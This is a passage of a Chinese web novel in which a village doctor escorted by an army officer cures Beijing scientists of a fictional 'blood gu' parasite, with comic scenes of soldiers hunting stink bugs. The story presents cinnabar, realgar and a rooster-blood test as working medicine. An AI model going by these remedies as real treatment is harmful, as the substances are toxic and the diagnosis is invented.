他这边好不容易才供起来的宝贝菩萨,能解决军区老大难问题。 第53章 你这警卫员,保熟吗? 秦振国在电话那头猛地一拍桌子。 “陆向东!我现在给你下达一道一级保密任务!” 陆向东的脊梁瞬间挺得笔直:“是!” “你!立刻!马上!给我收拾行李!” “作为姜芷同志本次北上援助行动的唯一指定负责人兼贴身警卫!全程护送!” “你最重要的任务,是等那几个专家一脱离危险,立刻把人给我带回来!” “一分钟都不能多留!听到没有!” 陆向东心头狂跳,强压下心头的激动,大声吼道:“保证完成任务!” 这下,他有了一个天经地义,谁也挑不出错的理由,能二十四小时黏在她身边了。 挂电话前,陆向东脑中灵光一闪,又补了一句。 “对了,司令员,还有个事。” 他立即将姜芷对清水河鬼卷宗案子的分析说了一遍。 电话那头,再次陷入了沉默。 随后,秦振国爽朗的笑声,顺着电话线传了过来。 “哈哈!好!好哇!” “陆向东,你小子,总算开了点窍!” “这就是咱们的杀手锏!” 秦振国的声音压低了。 “你什么都别说,也别让姜芷知道。我立刻就给军委打报告,‘清水河集体失魂案’出现重大突破,申请重启调查!” “我再以西南军区的名义,正式申请,聘请红星大队姜芷同志,为本案的特聘首席技术顾问!” “哼!我倒要看看,一个涉及国家安全的陈年大案,和他们那几个专家,哪个分量更重!” “到时候,他们敢不放人?!” 陆向东听着司令员的安排,一颗心彻底落了地。 姜还是老的辣啊。 他挂了电话,脸上的阴霾一扫而空。 陆向东转身回到宿舍区,姜芷果然在收拾东西。 说是收拾,其实也就是一些换洗衣物。 和那个破旧的木头药箱,仔细检查里面的瓶瓶罐罐。 一排长短不一的银针,用一块干净的蓝布包着。 几个小瓷瓶,里面装着颜色各异的药粉。 还有几株晒干的,奇形怪状的草药。 除此之外,再无他物。 陆向东走过去,轻笑着。 “我跟你一起去。” 姜芷抬起头,看了他一眼,满眼疑问。 “你?” 陆向东的胸膛不自觉地挺了挺,理直气壮地说。 “组织安排。” “从现在起,我是你的警卫员。” “警卫员?” 姜芷手上的动作顿了顿,满脸狐疑。 她将木箱的搭扣扣好,发出一声清脆的“咔哒”声。 “保熟吗?” 陆向东的脑子一时没转过来:“什么?” “我说,”姜芷站起身,拍了拍手上的灰,“万一我碰上危险,你这个警卫员,是能第一个冲上去挡枪子儿,还是能第一个跑路去摇人?” 陆向东的脸颊瞬间烧了起来,胸膛挺得笔直。 “我陆向东的字典里,就没有‘跑路’两个字!” “哦。”姜芷点了点头,像是信了。 “那挺好。希望你的字典,别是盗版的。” 说完,她拎起药箱,径直朝外走去。 陆向东被她一句话噎在原地,胸口发闷,那点刚升起来的小得意,被戳得一干二净。 这女人,嘴上就没饶过人! 他只能黑着脸,迈开长腿大步跟了上去。 西南军区的机场,一架军用运输机早已在待命。 螺旋桨卷起巨大的气流,吹得人睁不开眼。 姜芷一身朴素的蓝布衣裤,在一众穿着笔挺军装的军官护送下,显得格格不入。 她毫不在意,脸色从容,第一个踏上舷梯。 陆向东紧随其后,上了飞机,挑了个紧挨着她的位置坐下。 飞机起飞,巨大的轰鸣和失重感瞬间袭来。 陆向东下意识看向姜芷,已经做好了她如果紧张就立刻递上水壶的准备。 结果,她靠在椅背上,闭着眼睛,呼吸平稳,像是睡着了。 “你不紧张?” 陆向东实在没忍住,压低了声音问。 姜芷眼皮都没抬一下:“它飞它的,我坐我的,有什么好紧张的?难不成我紧张了,它就能飞得快点?” 陆向东:“……” 行,是我多嘴了。 他只能闭上嘴,学着她的样子靠在椅背上,心里却怎么也静不下来。 这趟去京城,无异于羊入虎口。 他这个“警卫员”,责任重大! 四个小时后,飞机在京城西郊机场平稳降落。 舱门一开,一股与西南截然不同的干燥空气涌了进来。 舷梯下,早已站了一排人。 为首的,是一个头发花白,面容焦灼的老干部,正是之前在电话里十万火急的卫生部李文华。 他身后跟着几个同样神色凝重的专家和军官。 看到姜芷走下飞机,李文华三步并作两步迎了上来,双手紧紧握住姜芷的手。 “姜芷同志!可算把你给盼来了!” 姜芷不喜欢这种身体接触,极自然地抽回手,直奔主题:“病人在哪?” “在301医院的特级隔离病房!车已经备好了,我们路上说!” 一行人上了辆军用吉普,飞速驶离机场。 车上,李文华详细介绍情况。 “……五名专家,都是我们国家植物学和病毒学领域的顶梁柱。去非洲进行农业技术援助,结果在一个原始部落里考察时,出了事。” “牺牲的那位,是带队的张院士,国内最顶尖的植物学家。” 李文华很是悲痛,“我们动用了所有关系,请了苏联的专家,用了最先进的设备,连病原体都找不到!眼睁睁看着人……就那么没了……” “现在剩下的四个,情况一天比一天糟。” “这已经不是单纯的医疗问题了,姜芷同志,这已经上升到国际影响了!” “非洲那边,甚至开始有谣言,说我们的人是冲撞了他们的‘神灵’,是‘不祥之人’……” 陆向东在一旁听着,心也跟着沉了下去。 他知道事情严重,没想到严重到了这个地步。 姜芷的脸上依旧没什么表情,只是问了句:“紫色斑块,具体是什么形态?发病前,他们接触过什么特别的植物或者动物吗?” 李文华愣了一下,一个年轻医生连忙递上一份文件。 “姜医生,这是我们整理的所有资料,包括照片和他们的随行笔记。” 姜芷接过,直接掠过那些复杂的化验单,翻到了现场勘查的照片和笔记部分,飞速扫过。 一个小时后,车子在301医院一栋独楼前停下。 车门打开,先下来的是陆向东。 他眼神锐利地扫过四周,将每一个角落都纳入警戒范围。 随后,他才转身,为姜芷拉开车门。 姜芷提着她那个破旧的木头药箱,踏了出来。 一身洗得发白的蓝布衣裤,一双黑布鞋,整个人清瘦又挺拔。 与周围肃杀的一切,格格不入。 “姜医生,这边请。”李文华压下心头万千思绪,连忙在前引路。 跨入大门的一瞬间,外界所有的声音都被隔绝,安静得可怕。 走廊里,铺着厚厚的军绿色地毯,踩上去悄无声息,只有一众纷乱的脚步声和压抑的呼吸声。 空气里,浓重的来苏水味道也盖不住那股焦躁。 陆向东全身肌肉绷紧,落后姜芷半步,紧紧护在她身侧。 他能感觉到,从他们踏入这里开始,无数道隐晦的目光,正从走廊两边的门窗后投来。 终于,李文华在一扇厚重的铁门前停下。 “姜医生,就是这里。” 门上装着一个巴掌大的圆形玻璃观察窗,旁边挂着“特级隔离”的牌子。 “最严重的是刘院士,六十多岁,国内植物分类学的泰斗。现在……情况非常不好。” 旁边一个戴着金丝眼镜的年轻医生推了推眼镜,补充道:“何止是不好。刘院士已经彻底失控了。” “我们怀疑病毒已经侵入了他的中枢神经系统,他出现了严重的被迫害妄想症。不吃不喝,不让任何人靠近,谁进去就跟谁拼命,已经打伤了两个护士。” 李文华痛苦地闭了闭眼:“我们试过镇定剂,没用。给他注射,他能把针头给你掰断了!现在我们连最基本的生命体征监测都做不了!” 这个问题,已经超出了医学的范畴。 一个不配合的病人,哪怕是大罗金仙来了,也束手无策。 陆向东眉头紧锁,下意识朝姜芷身边靠了靠,浑身肌肉绷紧。 姜芷没说话,走到铁门前,踮起脚,透过观察窗朝里看。 病房很大,白得刺眼。 一个瘦骨嶙峋的老人,怀里紧紧抱着一个枕头,正蜷缩在最远的墙角。 他穿着宽大的病号服,头发花白而凌乱。 一双眼睛瞪得像铜铃,里面布满了血丝,正死死盯着门口方向。 “发病前,他有什么异常?”姜芷收回目光,转身询问。 “没有。”李文华摇头,“他们都很健康,精神状态也很好。去了当地一个被称为‘神之花园’的原始丛林,就是在那之后出的事。” 姜芷翻阅着那堆资料,在一张死者的照片上停顿了一下。 “他指甲里,有东西。” “什么?” 在场众人都愣住了,纷纷围了过来。 第54章 白纸画兰花,攻心为上 姜芷指着牺牲的张院士微微发黑的指甲缝。 “这里,有残留的植物汁液痕迹,颜色很淡,但能看出来。” 李文华和几个专家把眼睛都快贴到照片上去,看了半天,才勉强从模糊像素里,看出一点点淡淡的青黄色。 这也能发现? “能确定是什么植物吗?”李文华急切地问。 “暂时不能。”姜芷摇头,“信息太少了。” 她放下照片,再次看向病房里那个惊恐的老人。 “得进去看看。” 年轻医生立刻拦住她,“姜医生,太危险了!刘院士现在谁都不认,他会攻击你的!” “不进去,怎么看?”姜芷反问。 她思索了片刻,忽然问了个风马牛不相及的问题。 “刘院士……有什么特别的爱好吗?或者,特别痴迷的东西?” “痴迷?”李文华愣住了,完全跟不上她的思路,“都这个时候了,问这个……” “刘院士一辈子都在跟植物打交道。” 旁边一个认识刘院士的老专家想了想说,“尤其是兰科植物,他是国内的权威。为了找一株稀有的‘金边墨兰’,他能在深山老林里一待就是三个月。” “兰花……” 姜芷若有所思地点了点头。 她转过身,对那个年轻医生说:“给我一支笔,一张纸,要最大的。” 所有人又是一愣。 都火烧眉毛了,她要笔和纸干什么? 虽然心里犯嘀咕,年轻医生还是飞快地跑去拿来了纸笔。 姜芷接过后,就在走廊里,将那张大白纸铺在墙上,低头开始画了起来。 所有人都围着她,伸长了脖子,大气都不敢出。 陆向东站在她身侧,看着她的侧脸。 长长的睫毛垂下,在眼睑处投下一片安静的阴影。 她画得很专注,手也稳,笔尖在纸上沙沙作响,流畅的线条从笔下流出。 很快,一朵兰花的轮廓,出现在纸上。 花瓣舒展,形态优雅,但又和所有人见过的兰花都不一样。 它的花瓣边缘带着奇异的锯齿,蕊柱的形态也极为特殊。 在场不乏懂行的人,可谁也认不出这到底是什么品种。 几分钟后,姜芷停笔。 一株栩栩如生,闻所未闻的奇异兰花,跃然纸上。 她把画纸卷起来,递给李文华。 “把这个,从门下面的缝里,塞进去。” “啊?”李文华彻底懵了,“姜……姜医生,这是……” “敲门砖。”姜芷淡淡地说。 没人明白她到底要干什么,但眼下,他们也没有别的办法。 一个护士壮着胆子,小心翼翼地走到铁门前,蹲下身,将那卷画纸从门缝里,一点点塞进去。 病房里,蜷缩在墙角的刘院士,盯着从门缝里“长”出来的白色纸卷,喉咙里发出“嗬嗬”声。 等护士抽回手,他猛扑过去,一把抢过纸卷,又飞快退回墙角,警惕打量着。 当他颤抖着展开那张纸时,整个人,都僵住了。 作为国内顶级的兰科专家,他敢说自己认识这个世界上百分之九十九的兰花品种。 可眼前这株…… 他闻所未闻,见所未见! 这不符合植物学的任何一个分类! 这不可能! 就在这时,病房门口的广播,忽然响了。 “刘院士,晚辈偶然得到这株植物的拓本,疑为兰科新变种。” “唇瓣结构像兜兰,但蕊柱与萼片特征,又跟石斛兰更接近。” “晚辈才疏学浅,百思不得其解,不知可否请您……不吝赐教?” 这番话,没有提治病,没有提病情,甚至没有自报家门。 直接绕过了刘院士的防御心理,戳在他内心最痴迷的那个点上。 走廊里,所有专家都听傻了。 还能这样?! 他们看到,墙角的刘院士,在听到广播后,身体猛地一震。 他死死攥着那张画纸,抬起头,浑浊的眼睛,第一次有了焦点。 刘院士扶着墙,慢慢站了起来。 “错……全错了……” “这不是石斛兰……它的合蕊柱是独立的……这……这是……你进来!你进来我跟你说!” 姜芷面不改色,立即吩咐:“开门。” 李文华猛地回头,满脸错愕。 “姜医生,你……你说什么?” “我说,开门。”姜芷又重复了一遍,“他已经把门票递出来了,我不进去,岂不是不给老前辈面子?” 都什么时候了,还开这种玩笑! 那个年轻的金丝眼镜医生急得直摆手。 “不行!绝对不行!刘院士现在六亲不认,您进去他会攻击您的!我们两个护士的胳膊都被他抓伤了!” “那你们有别的办法让他不攻击人,还能让我给他看病吗?” 姜芷反问。 一句话,把所有人都问住了。 是啊,他们要是有办法,还用得着把人从千里之外请来? 就在李文华犹豫不决时,一直沉默的陆向东忽然开口。 “开门,我相信她。” 他上前一步,挡在姜芷身前,对李文华说:“我跟她一起进去,出了任何事,我全权负责。” 李文华看着陆向东坚定的眼神,心头一震,最终一咬牙下令:“开、开门!” 厚重的铁门被打开一条缝。 陆向东率先闪身进去,将姜芷严严实实护在身后。 病房里的气味比想象中更难闻,混合着药水、汗水和一股腐败气息。 墙角的刘院士看到门开,喉咙里发出低吼,死死盯着他们。 “刘院士。” 姜芷从陆向东身后走了出来,指了指那张画。 “我不是来害你的。我只是想请教一下,这株植物,它的叶脉……” 刘院士的注意力,果然被死死黏在画上,嘴里还在喃喃自语。 “这……这不对……” “兰科植物的叶脉,大多是平行脉!你这画的是网状脉!这是双子叶植物的特征!它根本就不是兰花!” “您说得对。” 姜芷顺着他的话,慢慢朝他靠近。 “它确实不是兰花。但发现它的当地人说,它开花时,会散发出和金边墨兰一模一样的香气。” 这句话,像一把钥匙,打开了刘院士混乱的记忆里。 “金边墨兰……”他浑身剧震,“对……香气……我们就是闻到了香气,才找到它的……” “所以,它是什么?” 姜芷又朝前走了一步,距离刘院士已经不足三米。 陆向东的心提到了嗓子眼,全身的神经都绷着,准备随时扑上去。 玻璃窗外,李文华和一众专家更是把脸都快贴在了玻璃上,大气都不敢喘。 刘院士完全没注意她的靠近,他所有的心神,都被这个巨大的植物学谜题占据。 “拟态!是拟态!” 他忽然激动大吼起来。 “它在模拟兰花的形态和香气!为了吸引特定的传粉昆虫!该死的!我怎么没想到!我怎么就没想到!” 他猛地抬头,血红的眼睛死死盯住姜芷。 “你!你到底是谁?你怎么会知道这些?” “我是个医生。”姜芷终于走到了他的面前,缓缓蹲下身,与他平视。 “一个对植物略懂一二的,乡下医生。” 她一边说着,一边极其自然地伸出手,指着画上的一处细节。 “您看这里,它的花粉块,是粘盘状的,这说明……” 她看似在讲解植物构造,下一秒手指轻飘飘地搭在了刘院士枯瘦的手腕上。 那一瞬间,陆向东的呼吸都停滞了! 窗外的李文华更是惊得倒吸一口凉气! 刘院士的身体猛地一僵,眼中的疯狂再次涌动,几乎是本能地就想扬起手。 可姜芷的手指,已经轻轻地搭在了他的脉门上。 她没有动,只是静静地看着他,眼神清澈坦然。 “刘院士,你中毒了。” “您的脉象,弦、滑、数,兼而有之。” 姜芷淡淡开口。 “弦为肝风内动,所以您烦躁易怒,坐卧不安。滑为痰湿内阻,所以您身上斑块丛生,溃烂流脓。数脉为热,热毒攻心,所以您神志不清,产生幻觉。” 刘院士是搞植物学的,早年为了研究草药,也涉猎过一些中医典籍。 姜芷说的这些词,他听得懂! 他眼中的疯狂褪去少许,有些茫然。 “你……你怎么知道?” “因为,”姜芷的目光,落在了他微微发黑的指甲缝上,“给你下毒的,就是你亲手碰过的东西。” 她松开手,站起身,对陆向东说:“来搭把手,扶老先生起来。” 陆向东立刻走上前,扶住刘院士的胳膊。 这一次,刘院士没有反抗。 任由陆向东把他扶到病床边坐下。 整个人都懵了,脑子里,姜芷的话和丛林里的景象来回交错。 他到底……碰了什么? 姜芷没有再理他,而是转身对门口的方向说。 “李部长,麻烦准备几样东西。” 李文华连忙应声:“姜医生您说!” “艾叶、雄黄、生石灰。” 姜芷顿了顿,补上了最后一样。 “还有,一头活的公鸡。” “要活的,越精神越好。” 李文华彻底傻了。 艾叶、雄黄、生石灰……这都什么跟什么? 还要一头活的公鸡?! 这是要治病,还是要跳大神啊?! 第55章 她这一手,京城专家集体跪了 活公鸡? 验毒? 李文华的大脑彻底空白。 他看着眼前这个年轻得过分,也冷静得过分的姑娘,喉咙发干,一个字都问不出口。 质疑她搞封建迷信? 简直可笑。 她三言两语,就让一个癫狂暴走的院士安静下来。 现在别说一只活公鸡。 就算姜芷说要天上的月亮,他李文华也得搭梯子去够! “去!立刻!”李文华猛地对警卫员挥手,“去炊事班,挑一只最精神,鸡冠最红的大公鸡来!活的!” 警卫员飞奔而去。 很快,一阵响彻走廊的“咯咯哒”声由远及近。 一名年轻警卫员满头大汗,手里拎着一只拼命扑腾的大公鸡,嘹亮的鸡鸣走廊里回荡,显得无比荒诞。 一群白大褂,围着一扇特级隔离病房的铁门。 门里,是命悬一线的国宝院士。 门外,是一只引吭高歌的公鸡。 这画面,堪称魔幻。 姜芷对那只聒噪的公鸡恍若未闻。 她让人取来一个小石臼,将雄黄倒了进去,用石杵一下一下,不疾不徐地研磨。 石臼中,黄色的粉末渐渐变得细腻。 她又加入生石灰,继续混合。 “陆向东。” 姜芷头也没抬地发话。 “在!” 陆向东一步上前,声音沉稳。 “鸡。” 陆向东从警卫员手里,接过了还在挣扎的大公鸡。 那只常年握枪的手,五指如铁钳,只轻轻一握。 刚才还闹腾的大公鸡,瞬间僵住,成了一只温顺的鸡雕。 姜芷从药箱里取出一根细长的银针,在酒精灯的火焰上轻轻燎过,针尖映出一点寒芒。 她走到陆向东面前,左手捏住那片鲜红的鸡冠,右手银针迅疾刺下。 几滴饱满鲜红的血珠,从鸡冠上滚落,滴入一只干净的白瓷碗中,如几点红梅绽放。 做完这一切,她的目光转向病床上面色灰败的刘院士。 刘院士满眼迷茫,身体因戒备而紧绷。 “刘院士,得罪了。” 姜芷迈步上前,不等他有任何反应,同样的银针,在他指尖飞快刺了一下。 她轻轻一挤。 几滴颜色截然不同的血珠,也滴入了碗中。 那滴血,暗沉发紫。 两种血液在白瓷碗中竟是迅速融合。 病房内外,所有人都下意识屏住呼吸。 只见姜芷又从药箱里,取出一小撮干枯的艾叶,用火柴点燃。 一股辛辣霸道的独特香气,瞬间弥漫开来。 她没有将艾叶投入碗中,而是捏着燃烧的艾叶,在白瓷碗的上方,缓慢而稳定地,绕了三圈。 青白色的烟雾,袅袅沉入碗底。 门外透过玻璃偷看的专家们,感觉自己的世界观正在崩塌。 这……这跟乡下请神婆驱邪的开场,有什么区别? 李文华的心脏狂跳起来,他已经不敢想,万一失败了,他该如何向上面交代。 说我们请来一个神医,结果她在301医院的特级隔离病房里,搞起了封建迷信活动? 就在众人心神激荡时,姜芷终于有了最后的动作。 她捏起一小撮刚刚研磨好的雄黄石灰粉,指尖微动,将粉末均匀地撒入碗中。 所有人的眼睛都瞪到了最大。 下一秒。 碗中的血液,猛地发出一声“滋啦”的轻响,冒起一股头发丝粗细的黑烟! 紧接着,那滴血,像是活了! 它开始剧烈蠕动、收缩、膨胀! 似乎有什么东西,正拼命往外钻! 终于,一条比头发丝还细,通体乌黑的线状小虫,从血泊里挣扎着爬了出来! 它一脱离血液,就在白色的碗底疯狂扭动挣扎。 几秒后,它骤然僵直。 随即化作一滩散发着恶臭的黑水。 “呕——” 门口,一位年轻的医生再也无法忍受,捂着嘴冲向一边干呕起来。 李文华的脸色,白得像一张纸。 那从活人血里爬出来的……到底是什么?! 病房内外,一片寂静。 连那只大公鸡,都被这诡异的场景吓了一条,缩着脖子,忘记了鸣叫。 姜芷神色自若,放下瓷碗,冷冷吐出两个字:“血蛊。” “姜……姜同志,”李文华的嗓子干涩得厉害,“你说的……血蛊……是什么?” 姜芷抬起眼皮,目光扫过玻璃窗外那一群石化的专家教授,语气淡然。 “一种寄生在血液里,以宿主精血为食,能影响神经的……小东西。” 她用了一个词,小东西。 可这个词,让在场所有人集体打了个寒颤。 “寄生虫?”一个戴着金丝眼镜的老专家,强行用科学给自己壮胆。 “我们做过最全面的血液检测,包括寄生虫筛查,什么都没有发现!” “是啊!”另一个专家立刻附和,“怎么可能?这么大一条虫子,显微镜下怎么可能看不到?” 姜芷轻笑:“因为它会拟态。” “拟态?” “嗯,它会伪装成血液里的红细胞,用红细胞做外壳,在血管里畅通无阻,吃喝拉撒。” “免疫系统把它当成自己人,检测仪器自然也发现不了它。” 她顿了顿,目光落在那碗已经化成黑水的污渍上。 “只有在遇到它的克星,比如至阳的鸡冠血,霸道的雄黄,还有能破除阴邪的艾草烟气时,它才会无所遁形,现出原形。” 一番话,说得在场所有顶级专家哑口无言。 听起来,每一个字都像是封建糟粕,神棍理论。 可那碗里扭动过的黑虫,又该怎么解释? 那是他们亲眼所见! “这……这不科学!” 金丝眼镜专家还是不肯放弃自己的世界观。 “这世上怎么会有这种东西!这完全违背了生物学和医学的基本原理!” 陆向东冷峻的目光扫了过去,没说话,那股铁血杀气却让那位专家瞬间噤声。 姜芷笑了。 她慢悠悠地转头,看向那个专家。 “那你说说,什么是科学?” “科学就是……”专家卡壳了。 “科学,就是不断发现未知,解释未知。而不是用已知,去否定未知。” “刘院士他们在非洲的神之花园,到底碰了什么?” 李文华终于从震惊中回过神来,急切地问。 其他人也都是好奇地往前凑了凑。 “一株会模仿兰花香气的植物。”姜芷说,“那株植物本身没毒,但它的花粉,是血蛊虫卵最好的温床和催化剂。虫卵通过呼吸道进入人体,遇到血液,便立刻孵化,寄生其中。” “那……那牺牲的张院士……” “他应该是第一个接触花粉,也是吸入量最大的。虫卵在他体内最先孵化,最先成熟。所以他第一个发病,也死得最快。” 原来是这样。 一切的谜团,都解开了。 李文华看着病床上奄奄一息的刘院士,又看了看另外几间隔离病房,一颗心沉到了谷底。 他猛地冲到姜芷面前,也顾不上什么领导架子了,双手紧紧抓住她的胳膊,眼里全是恳求。 “姜神医!” 他已经改口叫了“姜神医”。 “求求你!救救他们!他们都是我们国家的希望!不能再出事了!绝对不能!” 姜芷看着他,又看了看身旁的陆向东。 陆向东对她点了点头,眼里是无条件的信任。 “救,可以。”姜芷古怪地扫了众人一眼,继续说,“但我的方法,你们可能接受不了。” 第56章 神医的药方,逼疯了整个警卫团 “接受!我们全都接受!” 李文华声音嘶哑,重重点头。 “别说您的方法,您就是要我们现在去跳大神,我们也照办不误!” 这话一出,周围的专家们嘴唇紧抿,表情僵硬,却无一人出声反驳。 事实胜于雄辩。 人家一碗鸡血就干挺了他们所有高端仪器。 还有什么资格质疑? “行。” 姜芷颔首,不再废话。 她扫过众人,开始报出药名。 “去准备几样东西。” “三十年的陈醋,要没兑过水的老陈醋。” “一公斤朱砂,成色最好的。” “还有,至少一斤九香虫。” 李文华在一旁听着,赶紧让秘书拿笔记下来。 陈醋……朱砂……这都还算正常的中药材。 可最后一个…… “九……九香虫?”那个金丝眼镜专家忍不住又问了一句,“那不就是……会放屁的臭大姐吗?” “对。”姜芷点头,“就是它。要活的,越多越好。” 众人:“……” 又是活的。 这个神医的药方,怎么总跟活物过不去? 先是公鸡,现在又是臭大姐。 再下一步,是不是就要上蝎子蜈蚣了? 李文华不管那么多,猛地一挥手。 “照办!全都照办!” 他吩咐身后的秘书:“去!发动一切能发动的力量!半个小时,不,二十分钟内!我要看到东西!” “是!” 秘书领命,连滚带爬地跑了出去。 一道堪称荒诞的指令,在整个301医院,以及周边驻军大院里,掀起了滔天巨浪。 三十年的陈醋,好办。 李文华一个电话打到后勤处,主任一听是给那位“神医”办事,二话不说,直接撬开了自己珍藏多年,准备退休时才喝的宝贝醋坛子。 一公斤朱砂,也好办。 医院中药房的老师傅,翻箱倒柜,把压箱底的顶级朱砂都给贡献了出来,用油纸包了一层又一层,生怕损耗了一星半点。 唯独这最后一个……活的九香虫,也就是臭大姐,成了天大的难题。 现在接近初冬,臭大姐都找地方猫冬去了,上哪儿给你找“越多越好”? 后勤处长急得满头大汗,在办公室里团团转。 “活的?臭大姐?还要多?” “这是要干嘛?做菜吗?给谁做?给那几位专家?” 秘书都快哭了:“主任啊,您就别问了!这是军令!是李部长的死命令!那几位专家能不能活,就看这些臭大姐了!” “专家的命……在臭大姐身上?” 后勤处长感觉自己的脑子不够用了。 但他不敢耽搁,猛地一拍大腿,有了! 自己找不到,就让兵去找!人多力量大! 他立刻拨通了隔壁警卫团团长的电话。 彼时,警卫团团长张铁牛,正在训练场上,对着一群新兵蛋子唾沫横飞。 “都给我打起精神来!你们是警卫团!是保卫首长的兵!不是没断奶的娃娃!” 通讯员火急火燎地跑过来:“团长!后勤处的紧急电话!” 张铁牛不耐烦地过去接电话。 “老张!紧急任务!” 电话里,后勤处长的声音跟火烧屁股一样,“十万火急!性命攸关!” 张铁牛精神一振:“说!什么任务?抓特务还是搞演习?” 电话那头沉默了两秒。 “……抓臭大姐。” “抓什么玩意儿?” 张铁牛掏了掏耳朵,以为自己听错了。 “臭、大、姐!”后勤处长一字一顿,咬牙切齿地重复,“活的!越多越好!立刻!马上!这是死命令!是李文华部长亲自下的令!关系到非洲回来的那几位专家的性命!” 张铁牛举着电话,人傻了。 足足愣了有半分钟。 他手下的兵,个个都是神枪手,格斗高手。 现在,要去抓臭大姐? 为了救国宝级专家? 这他娘的叫什么事儿? 传出去警卫团的脸还要不要了! “喂?喂!老张!你还在听吗?” “……在。” 张铁牛从喉咙里艰难地挤出一个字。 “老张!这是死命令!那几位专家的命,现在就攥在这群臭大姐身上了!” 挂了电话,张铁牛吹响了紧急集合哨。 全团上千号人,不到三分钟,在训练场上集合完毕,鸦雀无声,等着团长下达作战指令。 所有人都以为,又有什么抓捕或者演习的大任务了。 一个个屏息凝神,热血沸腾。 张铁牛看着一张张热血沸腾的年轻脸庞,感觉这辈子都没这么难以启齿过。 他深吸一口气,用尽全身力气吼了出来。 “同志们!” “现在,有一项非常重要,非常紧急的军事任务,需要我们立刻执行!” 战士们的眼神瞬间变得锐利。 “这项任务……关系到我们国家四位顶级科学家的生命!只许成功,不许失败!” 气氛瞬间凝重到了极点。 “任务内容是……”张铁牛闭上眼,大声吼了出来。 “全员出动!在营区内外,抓捕臭大姐!” “……” “……” 训练场上,死一般的寂静。 风吹过,卷起几片落叶。 上千号人,你看看我,我看看你,脸上全是茫然。 一个胆子大的连长,小心翼翼地举手。 “团长……我……我是不是幻听了?您说……抓什么?” “臭大姐!”张铁牛眼睛都红了,“就是会飞的,一捏就放屁的那个玩意儿!都听明白了没有!” “明白了……” 回答的声音,稀稀拉拉。 “都他娘的没吃饭吗?大声点!” “明白了!!!” 声音震天响,但里面夹杂着一丝荒诞和憋屈。 “行动!” 一声令下,上千名精锐士兵,拿着脸盆、饭盒、水壶,甚至脱下帽子,散入营区的各个角落。 一场轰轰烈烈的“地毯式搜捕臭大姐”行动,就此展开。 树上、墙角、窗台缝、柴火堆…… 平日里操练枪炮的战士们,此刻正撅着屁股,小心翼翼地捏着一只只正在装死的臭大姐。 “班长,我抓了五只了!你呢?” “我八只!哎别动!那儿还有一只!快!用帽子扣住它!” “这玩意儿也太臭了!熏得我眼泪都快出来了!” “别抱怨!团长说了,这玩意儿能救命!一只臭大姐,可能就是一条专家的命!都给我认真点!” 一个班的战士围着一棵大槐树,如临大敌。 “嘘……别出声,我看见了,起码有十几只,在那个树杈上开会呢!” “准备!我数一二三,一起摇树!” “一!” “二!” “三!摇!” 哗啦啦一阵响,伴随着士兵们兴奋又嫌弃的叫喊声。 “快快快!掉下来了!别让它们跑了!” 这堪称魔幻的一幕,让路过的医生护士全都看呆了。 “这……警卫团的兵,是在干嘛?集体疯了?” 病房走廊里,姜芷靠着墙壁,闭目养神。 陆向东默默守在她身旁。 那些专家教授,则围在一起,拿着一本《中草药大辞典》,翻到了“九香虫”那一页,对着上面的描述,交头接耳,满脸都是“我看不懂,但我大受震撼”的表情。 就在这时,走廊尽头传来一阵急促的脚步声。 一个年轻军官,满头大汗地跑到李文华面前,一个立正敬礼,手里还拎着一个不断发出“嗡嗡”声的军用水壶。 “报告首长!警卫团一营一连,奉命捕获目标三十七只!请求指示!” 话音未落,又一个军官跑来。 “报告!二营三连,捕获目标五十二只!” “报告!三营……” 一个接一个的军官跑来汇报战果,他们手里拎着各式各样的容器,脸盆、饭盒、玻璃罐……里面全都装着密密麻麻、正在拼命往外爬的臭大姐。 整个走廊里,瞬间弥漫开一股浓郁又上头的特殊气味。 几个有洁癖的专家,脸色发青,默默地后退了好几步。 李文华看着堆在面前,至少几百只的“战利品”,嘴角抽搐了一下,挥了挥手,强忍着那股味道,转向一直闭着眼的姜芷。 “姜……姜神医,您看……这些够了吗?” 姜芷缓缓睁开眼,扫过那些容器。 她点了点头。 “够了。” 她站直身体,活动了一下手腕。 “陈醋和朱砂呢?” “都准备好了!” 秘书连忙让人把东西递上。 姜芷走到一张临时搬来的桌子前,将朱砂倒进一个大碗,然后拎起那坛子老陈醋,倒进去大半。 第57章 王专家,干了这碗神仙汤 那味道,又冲又上头,带着一股奇异的植物腥气。 “呕——!!” “我的天……不行了不行了,我受不了了……” 走廊里,瞬间乱成一团。 几个年轻的医生和护士,当场就扶着墙吐了。 就连李文华这种见惯大场面的人,也是脸色发绿,连连后退。 唯独姜芷和陆向东,站在臭味的中心,恍若未闻。 陆向东将捏爆的虫尸随手扔进垃圾桶,指尖沾染的浓绿汁液对着瓷碗,轻轻一弹。几滴汁液落入朱砂醋里。 做完这一切,陆向东看都没看旁人一眼,又伸出手,捏起了第二只。 “啵!” 第三只。 “啵!” 第四只…… “啵啵啵啵!” 一时间,走廊里只剩下两种声音。 一种是臭大姐被捏爆时,让人头皮发麻的“啵啵”声。 另一种,是专家们此起彼伏的干呕声。 王学海的眼睛瞪得像铜铃,已经彻底崩溃。 一个战功赫赫的年轻团长,在给一个乡下丫头当助手,徒手捏爆几百只臭大姐! 一个卫生部的领导,在一旁屏息凝神地观摩,连个屁都不敢放! 一群国内最顶级的医学专家,被一只只虫子,熏得东倒西歪,丑态百出! 这个世界,疯了。 一定是疯了! 十分钟后,陆向东终于停了手。 脸盆里的“臭大姐军团”,已经全军覆没。 桌上那个大瓷碗里,暗红的朱砂醋彻底变了样。 酸、腥、臭、臊……几种味道完美融合。 像是某种绿色浓痰,上面还漂浮着一层黄褐色的油脂,不时“咕嘟”冒起一个气泡。 李文华白着脸,强行让自己往前挪了半步,只看了一眼,胃里就搅得天翻地覆。 “姜……姜神医……这……这就好了?”他艰难地问。 “嗯。”姜芷拿起一根筷子,伸进碗里搅了搅。 随着她的搅动,那股味道更加销魂。 她满意地点点头,放下了筷子。 “解药,成了。” 成了? 众人看着那碗比毒药还像毒药的“解药”,一个个表情呆滞,说不出话来。 用这个救人? 怕不是人还没救活,就先被这玩意儿给超度了! 姜芷没理会众人的表情,她擦了擦手,目光慢悠悠地,再一次扫过全场。 “药是成了。” “但血蛊这东西,极为霸道,前面放血出来的,不过是虫卵。” “若是贸然用药,万一药性有半分偏差,反而会激起蛊虫凶性,让他们死得更快。” 李文华的心提到了嗓子眼:“那……那该如何是好?” “所以,”姜芷似笑非笑地打量众人,“在给几位院士用之前,得先找个人,试试药。” 试药?! 所有人的心脏都漏跳了一拍。 找谁? 怎么试? 姜芷的目光,不偏不倚,落在了人群最后方,那个脸色惨白的王学海身上。 